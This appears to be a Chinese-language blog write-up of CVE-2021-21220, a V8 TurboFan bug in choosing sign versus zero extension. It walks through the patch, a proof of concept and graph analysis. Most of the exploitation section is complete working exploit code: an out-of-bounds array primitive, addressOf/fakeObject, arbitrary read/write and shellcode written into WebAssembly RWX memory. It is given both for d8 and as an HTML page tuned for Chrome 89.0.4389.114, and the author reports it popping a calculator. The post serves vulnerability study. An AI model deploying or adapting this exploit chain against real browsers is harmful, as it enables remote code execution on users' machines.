CVE-2021-21220

Posted on Dec 16, 2021

这是一个在今年的 pwn2own 的比赛上披露的漏洞,可以通过 v8 引擎实现任意代码执行,前天看到腾讯玄武实验室推送了 two-birds-with-one-stone-an-introduction-to-v8-and-jit-exploitation 这篇文章,介绍了这个漏洞的成因。漏洞本身是 jit 引擎在选择机器指令时,对 x86 平台下有符号拓展和无符号拓展指令的选择有误造成的,总体来说比较好理解,感觉比较适合作为 v8 jit 利用入门。参考这篇文章和谷歌归档的 exp,我也完成了利用。这里记录一下。本人也只是刚刚开始摸索浏览器相关的利用,肯定有不对的地方,欢迎指出。

信息搜集

在 Chromium bug entry 中,可以看到受影响的 chrome 版本为 89.0.4389.114,通过这个网站提供的工具我们可以搜索出对应的 commit

查找 commit

编译复现环境

那么我们首先先编译一个对应版本的 d8 出来

git checkout 09ecd88ef275f6c66605218a0ffb72123ea3b5e1
gclient sync -D

事实上,基本上用不到源码级别的分析,所以可以编译 release 版本提高调试体验

tools/dev/v8gen.py x64.release

为了在 release 版本中使用 job 命令,需要在生成的 out.gn/x64.release/args.gn 中追加

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

然后

ninja -C out.gn/x64.release

即可。

分析漏洞

首先可以看一下 fix

diff --git a/src/compiler/backend/x64/instruction-selector-x64.cc b/src/compiler/backend/x64/instruction-selector-x64.cc
index 39cd9b1..d17dd28 100644
--- a/src/compiler/backend/x64/instruction-selector-x64.cc
+++ b/src/compiler/backend/x64/instruction-selector-x64.cc
@@ -1376,7 +1376,9 @@
         opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
         break;
       case MachineRepresentation::kWord32:
-        opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
+        // ChangeInt32ToInt64 must interpret its input as a _signed_ 32-bit
+        // integer, so here we must sign-extend the loaded value in any case.
+        opcode = kX64Movsxlq;
         break;
       default:
         UNREACHABLE();

从注释和该段代码所在的函数的函数名可以推测出这里是在选择从 int32 向 int64 时应该使用的机器指令。修复前是根据操作数本身是否为有符号数决定的。如果原来的操作数是 uint32,则使用无符号拓展(mov),如果是 int32 则使用有符号拓展(movsx)。两者在操作数小于 0x80000000(符号位不为 1,即作为 uint32 和 int32 都不是负数的情况)时没有任何区别;然而,如果对一个符号位为一的 int32,也就是一个负的 int32 执行无符号拓展,拓展的高 32 位全部都会置为 0,拓展后的 int64 就会变成正数,显然不对。也就是说 int32 拓展成 int64 时必须使用 movsx。

从操作名称可以看出,此操作接受的所有参数都应该是 int32,所以可以假设这里的 load_rep.IsSigned() 始终为 1,opcode 始终会是 kX64Movsxlq,也就是有符号拓展,所以这里这样选择也不会出错。

但是,这个假设是不成立的,我们可以通过一些方法实现传入 uint32。对于解释器来说传入的 uint32 应该被对待为 int32,也就是实现的效果应该是

(int64)((int32) uint32_val)

但是 turbofan 编译后实现的效果变成了

(int64) ((uint64) uint32_val)

解释器将转换出一个负数,优化后的代码将转换出正数。

触发

那么如何做到传入 uint32 呢,我们来看这样一个 poc

// poc.js
var arr = new Uint32Array([0x80000000]);

function trig() {
    return (arr[0] ^ 0) + 1;
}

%PrepareFunctionForOptimization(trig);
console.log(trig());
%OptimizeFunctionOnNextCall(trig);
console.log(trig());

添加 --allow-natives-syntax 参数,执行之后会有这样的结果

poc 的结果

可以看到优化之后的执行结果和优化前的结果不同。

原理

那么为什么要构造 (arr[0] ^ 0) + 1 这么一个奇怪的表达式呢,我们可以先用 turbolizer 看一下,由于和类型相关,先看一下 typer

turbolizer

截取了其中的一部分,可以看到,SpeculativeNumberBitwiseXor 操作就是执行 b[0] ^ 0 了,其返回的类型为 signed32,传入的则是 0 和 unsigned32(TypedArray 指定了类型为 Uint32)。异或后的结果是直接“强制类型转换”成 signed32 的。好像挺奇怪,但是标准正是这样规定的。

然后,在 EarlyOptimization 之后,就会被优化成这样

turbolizer

可以看到,xor 操作直接没了,取而代之的是 LoadTypedElement,也就是 b[0],其类型为 Uint32,该参数会传递给 ChangeInt32ToInt64这样就实现了之前说到的向该函数传入 Uint32 类型的参数

为什么会有这样神奇的优化出现呢,我们可以看一下源码。在优化的 EarlyOptimizationPhase,会注册许多 reducer 对 sea-of-nodes 图进行修剪

struct EarlyOptimizationPhase {
  DECL_PIPELINE_PHASE_CONSTANTS(EarlyOptimization)

  void Run(PipelineData* data, Zone* temp_zone) {
    GraphReducer graph_reducer(temp_zone, data->graph(),
                               &data->info()->tick_counter(), data->broker(),
                               data->jsgraph()->Dead());
    DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                              data->common(), temp_zone);
    SimplifiedOperatorReducer simple_reducer(&graph_reducer, data->jsgraph(),
                                             data->broker());
    RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
    ValueNumberingReducer value_numbering(temp_zone, data->graph()->zone());
    MachineOperatorReducer machine_reducer(&graph_reducer, data->jsgraph());
    CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
                                         data->broker(), data->common(),
                                         data->machine(), temp_zone);
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    AddReducer(data, &graph_reducer, &simple_reducer);
    AddReducer(data, &graph_reducer, &redundancy_elimination);
    AddReducer(data, &graph_reducer, &machine_reducer);
    AddReducer(data, &graph_reducer, &common_reducer);
    AddReducer(data, &graph_reducer, &value_numbering);
    graph_reducer.ReduceGraph();
  }
};

这里的 machine_reducer(类型为 MachineOperatorReducer)会对一些 nodes 的操作进行修剪,其中就包括异或这个操作。相关的代码为

template <typename WordNAdapter>
Reduction MachineOperatorReducer::ReduceWordNXor(Node* node) {
  using A = WordNAdapter;
  A a(this);

  typename A::IntNBinopMatcher m(node);
  if (m.right().Is(0)) return Replace(m.left().node());  // x ^ 0 => x
  if (m.IsFoldable()) {  // K ^ K => K  (K stands for arbitrary constants)
    return a.ReplaceIntN(m.left().ResolvedValue() ^ m.right().ResolvedValue());
  }
  if (m.LeftEqualsRight()) return ReplaceInt32(0);  // x ^ x => 0
  if (A::IsWordNXor(m.left()) && m.right().Is(-1)) {
    typename A::IntNBinopMatcher mleft(m.left().node());
    if (mleft.right().Is(-1)) {  // (x ^ -1) ^ -1 => x
      return Replace(mleft.left().node());
    }
  }

  return a.TryMatchWordNRor(node);
}

Reduction MachineOperatorReducer::ReduceWord32Xor(Node* node) {
  DCHECK_EQ(IrOpcode::kWord32Xor, node->opcode());
  return ReduceWordNXor<Word32Adapter>(node);
}

Reduction MachineOperatorReducer::ReduceWord64Xor(Node* node) {
  DCHECK_EQ(IrOpcode::kWord64Xor, node->opcode());
  return ReduceWordNXor<Word64Adapter>(node);
}

这里的代码还挺好理解的,不管是 64 位 int 还是 32 位 int,都通过 ReduceWordNXor 函数来优化,针对三种情况进行了优化,我们这里主要关注 x ^ 0 => x 这个 case。由于任何数异或零都会得到自身,所以可以去除这个异或操作,直接用 x 替换。原先的异或操作的返回类型为 int32,但是这里替换之后的类型就变成了 uint32 了,传入 ChangeInt32ToInt64 时就出现问题了。

由于 ChangeInt32ToInt64 后,对 (b[0] ^ 0) 进行了无符号拓展,所以优化后的代码就会返回一个正数了。

同时我们可以看到,ReduceWordNOr ReduceWord32Sar 中也有类似的处理,所以也可以类似地触发。

利用

利用就是构造出 oob 数组,然后构造 addressOf 和 fakeObject 原语,向 wasm 模块中的 rwx 内存段写 shellcode 执行这样一个常见套路了,后面的套路纵使我这样的浏览器小白也不觉得有什么难,主要还是难在构造 oob 数组。

oob

我也不懂,参照现成的 exp,抄了个 poc

// oob.js
var b = new Uint32Array([0x80000000]);

var glob = {};

function make_oob(doit) {
    let bad = (b[0] ^ 0) + 1;
    let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1

    glob[i] = 1;

    if (!doit) {
        // make sure this function can work fine after opted
        i = -1;
    }

    let size = Math.sign(i); // expect: size = 0 or -1, actual: 1
    size = Math.sign(i) < 0 ? 0 : size;
    let oob = new Array(size);
    oob.shift();
    return oob;
}

%PrepareFunctionForOptimization(make_oob);
make_oob(0);
%OptimizeFunctionOnNextCall(make_oob);
let oob_arr = make_oob(1);
%DebugPrint(oob_arr);

放到 turbolizer 里面看一下,先看一下 EarlyTrimming 生成的图,先关注 JSCreateArray

turbolizer

注意这里的 Phi[kRepTagged],他存储了 size 这个变量的值,之后还会看到。

然后到 SimplifiedLowering 的时候,操作已经被优化成这样了

turbolizer

可见这里是直接用常数来申请数组的空间的。

然后我们再把关注点放在 ArrayShift 上,和他相关的点非常多,但是只要关注控制节点就行了

tuborlizer

隐藏掉一些无关节点,这里的流程就是这样,注意这里的 Phi[kRepWord32],之前提到他存了 size 的值,这里解释器分析出该变量的取值为 Range(-1, 0)(我们知道实际上是会变成 1 的),然后判断是否能够执行 Shift 操作,只要 size 大于 1 就会执行了。

总结一下,解释器认为,size 的值一定会是 0 或 -1,所以给 Array 申请的空间大小是固定的。但是后面又根据 size 的值判断了能不能 shift,还是由于解释器认为 size 一定会是 0 或 -1,所以这个操作是安全的。但是实际上我们可以做到让 size 变成 1,此时就会对一个 size 为 0 的 array 执行 shift,size - 1 后变为一个大正数就可以实现 oob 了。

// todo: 关于 i 的 side-effct

之后的利用

oob 之后就是一般的套路,只是要注意一下这个版本编译出来的 d8 是开启了指针压缩的(也就是只保存地址的低 32 位),调试算偏移的时候注意一下就行了

// gadgets
var buffer = new ArrayBuffer(8);
var float64_arr = new Float64Array(buffer);
var uint64_arr = new BigUint64Array(buffer);

var i2f = (uint64) => {
    uint64_arr[0] = uint64;
    return float64_arr[0];
}

var f2i = (float64) => {
    float64_arr[0] = float64;
    return uint64_arr[0];
}

var b = new Uint32Array([0x80000000]);

var glob = {};

function make_oob(doit) {
    let bad = (b[0] ^ 0) + 1;
    let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1

    glob[i] = 1;

    if (!doit) {
        // make sure this function can work fine after opted
        i = -1;
    }

    let size = i; // expect: size = 0 or -1
    size = i < 0 ? 0 : size; // expect size = 0
    let oob = new Array(size);
    oob.shift();
    return oob;
}

for (i = 0; i < 200000; i++) {
    make_oob(false);
}
oob_arr = make_oob(1);
var float_arr = [1.1, 1.2, 1.3, 1.4];
var float_arr2 = [2.1, 2.2, 2.3, 2.4];
var int_arr = [1, 2, 3, 4];
var object_arr = [{}, {}, {}, {}];
var leak_object_arr = [2.1, 2.2, 2.3, 2.4];


oob_arr[0x1A] = 0x1000;
oob_arr[0x50] = 0x1000;
console.log(float_arr.length)
console.log(object_arr.length);


var float_map = f2i(float_arr[9]) & 0xFFFFFFFFn;
console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16));

var object_map = f2i(float_arr[23]) & 0xFFFFFFFFn;
console.log("PACKED_ELEMENTS map: 0x" + object_map.toString(16));

//%DebugPrint(float_arr);

var addressOf = (obj) => {
    object_arr[0x1D * 2] = obj;
    return f2i(leak_object_arr[0]);
}

var fakeObject = (addr) => {
    float_arr[0x1B] = i2f(addr);
    return object_arr[0];
}

var rw_tool = [
    // map
    i2f(float_map),
    i2f(0x00000008BEEFDEADn),
    1.1,
    1.2
];

var rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn;

var arbitary_rw_tool = fakeObject(rw_tool_addr + 0x20n);
console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16));

var read64 = (address) => {
    rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
    return f2i(arbitary_rw_tool[0]);
}

var write64 = (address, val) => {
    rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
    arbitary_rw_tool[0] = i2f(val);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

addr_f = addressOf(f) & 0xFFFFFFFFn;

console.log(f());
console.log("[+] f_addr: 0x" + addr_f.toString(16));

var shared_info_addr = (read64(addr_f - 1n + 0x8n) & 0xFFFFFFFF00000000n) >> 32n;
console.log("[+] shared_info_addr: 0x" + shared_info_addr.toString(16));

var data_addr = (read64(shared_info_addr -1n) & 0xFFFFFFFF00000000n) >> 32n;
console.log("[+] data_addr: 0x" + data_addr.toString(16));

var instance_addr = read64(data_addr -1n + 0x8n) & 0xFFFFFFFFn;
console.log("[+] instance_addr: 0x" + instance_addr.toString(16));

var rwx_addr = read64(instance_addr - 1n + 0x68n);
console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16));

var sc_arr = [
    0x10101010101b848n,    0x62792eb848500101n,    0x431480101626d60n,    0x2f7273752fb84824n,
    0x48e78948506e6962n,    0x1010101010101b8n,    0x6d606279b8485001n,    0x2404314801010162n,
    0x1485e086a56f631n,    0x313b68e6894856e6n,    0x101012434810101n,    0x4c50534944b84801n,
    0x6a52d231503d5941n,    0x894852e201485a08n,    0x50f583b6ae2n,
];

var dvbuff = new ArrayBuffer(sc_arr.length * 8);
var dvbuff_addr = addressOf(dvbuff) & 0xFFFFFFFn;
console.log("[+] dvbuff addr: 0x" + dvbuff_addr.toString(16));
write64(dvbuff_addr - 1n - 0xcn + 0x20n, rwx_addr);
var dv = new DataView(dvbuff);

for (let i = 0; i < sc_arr.length; i++) {
    dv.setFloat64(i * 8, i2f(sc_arr[i]), true);
}

f();

通过 d8 运行之后就可以弹出计算器了。

chrome 的调试

到这就结束了?怎么可能!既然是真实的漏洞,那必然得 pwn 掉对应版本的 release 浏览器啦。遗憾的是上面的 exp 不能直接打通,需要微调偏移,这就需要对 chrome 进行调试,请教了一下 @小语 老师,得知是可以直接 gdb attach 上去调的。同时 %DebugPrint 方法也可以使用,只是只会打出对象地址,但是这对我们修改偏移也足够了。

首先,chrome 可以使用 --js-flags 参数来指定 js 的参数,通过该参数我们可以设定 --allow-natives-syntax 来支持 %DebugPrint 等方法。然后指定了 --user-data-dir 后就会再终端输出相关的信息了。举个例子,我们可以这样启动 chrome

./chrome --js-flags="--allow-natives-syntax" --no-sandbox --user-data-dir="/tmp/chrome"

如果我想算 oob_arr 和 float_arr 的偏移,那么就可以在 exp 中加入

...   
	%DebugPrint(float_arr);
    %DebugPrint(oob_arr);
    %SystemBreak();
	...

然后把该 html 拖到浏览器里面,这个时候会报 SIGTRAP 的错误

SIGTRAP

所以我们需要用一个调试器 attach 上去。

浏览器就那么放着,开终端执行 ps afx,找到 chrome 的 --type=renderer 的进程

ps afx

即图片中黄框内的进程,然后 attach 到他的父进程即可(图中红框内),这里父进程的 pid 为 313030,所以使用 sudo gdb -p 313030 进行 attach。attach 上后用 c 继续执行即可,然后刷新页面即可断下

可见已经断下了

转到启动 chrome 的终端里面,也可以看到 DebugPrint 出来的地址信息

debugprint

针对 google-chrome-stable_deb_rpm_89.0.4389.114 中的浏览器我改了下偏移,最后的 html 为

<script>
    // gadgets
    var buffer = new ArrayBuffer(8);
    var float64_arr = new Float64Array(buffer);
    var uint64_arr = new BigUint64Array(buffer);

    var i2f = (uint64) => {
        uint64_arr[0] = uint64;
        return float64_arr[0];
    }

    var f2i = (float64) => {
        float64_arr[0] = float64;
        return uint64_arr[0];
    }

    var b = new Uint32Array([0x80000000]);

    var glob = {};

    function make_oob(doit) {
        let bad = (b[0] ^ 0) + 1;
        let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1

        glob[i] = 1;

        if (!doit) {
            // make sure this function can work fine after opted
            i = -1;
        }

        let size = i; // expect: size = 0 or -1
        size = i < 0 ? 0 : size; // expect size = 0
        let oob = new Array(size);
        oob.shift();
        return oob;
    }

    for (i = 0; i < 200000; i++) {
        make_oob(false);
    }
    oob_arr = make_oob(1);
    var float_arr = [i2f(0x1337DEADBEEFn), 1.2, 1.3, 1.4];
    var float_arr2 = [2.1, 2.2, 2.3, 2.4];
    var int_arr = [1, 2, 3, 4];
    var object_arr = [{}, {}, {}, {}];
    var leak_object_arr = [2.1, 2.2, 2.3, 2.4];

    oob_arr[40] = 0x1000;
    console.log(float_arr.length)
    oob_arr[98] = 0x1000;
    console.log(object_arr.length);

    var float_map = f2i(float_arr[11]) & 0xFFFFFFFFn;
    console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16));

    var object_map = f2i(float_arr[25]) & 0xFFFFFFFFn;
    console.log("PACKED_ELEMENTS map: 0x" + object_map.toString(16));

    var addressOf = (obj) => {
        object_arr[0x1D * 2] = obj;
        return f2i(leak_object_arr[0]);
    }

    var fakeObject = (addr) => {
        float_arr[29] = i2f(addr);
        return object_arr[0];
    }

    var rw_tool = [
        // map
        i2f(float_map),
        i2f(0x00000008BEEFDEADn),
        1.1,
        1.2
    ];

    var rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn;
    console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16));

    var arbitary_rw_tool = fakeObject(rw_tool_addr + 0x20n);

    var read64 = (address) => {
        rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
        return f2i(arbitary_rw_tool[0]);
    }

    var write64 = (address, val) => {
        rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
        arbitary_rw_tool[0] = i2f(val);
    }

    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var f = wasmInstance.exports.main;

    addr_f = addressOf(f) & 0xFFFFFFFFn;

    console.log(f());
    console.log("[+] f_addr: 0x" + addr_f.toString(16));

    var shared_info_addr = (read64(addr_f - 1n + 0x8n) & 0xFFFFFFFF00000000n) >> 32n;
    console.log("[+] shared_info_addr: 0x" + shared_info_addr.toString(16));

    var data_addr = (read64(shared_info_addr - 1n) & 0xFFFFFFFF00000000n) >> 32n;
    console.log("[+] data_addr: 0x" + data_addr.toString(16));

    var instance_addr = read64(data_addr - 1n + 0x8n) & 0xFFFFFFFFn;
    console.log("[+] instance_addr: 0x" + instance_addr.toString(16));

    var rwx_addr = read64(instance_addr - 1n + 0x68n);
    console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16));

    var sc_arr = [
        0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
        0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
        0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
        0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
    ];

    var dvbuff = new ArrayBuffer(sc_arr.length * 8);
    var dvbuff_addr = addressOf(dvbuff) & 0xFFFFFFFn;
    console.log("[+] dvbuff addr: 0x" + dvbuff_addr.toString(16));
    write64(dvbuff_addr - 1n - 0xcn + 0x20n, rwx_addr);
    var dv = new DataView(dvbuff);

    for (let i = 0; i < sc_arr.length; i++) {
        dv.setFloat64(i * 8, i2f(sc_arr[i]), true);
    }

    f();
</script>

用 –no-sandbox 参数启动 chrome,拖入 html,即可弹出计算器

弹出计算器!

attachment

chrome_linux64_stable_89.0.4389.114

reference

TWO BIRDS WITH ONE STONE: AN INTRODUCTION TO V8 AND JIT EXPLOITATION

V8 TurboFan 生成图简析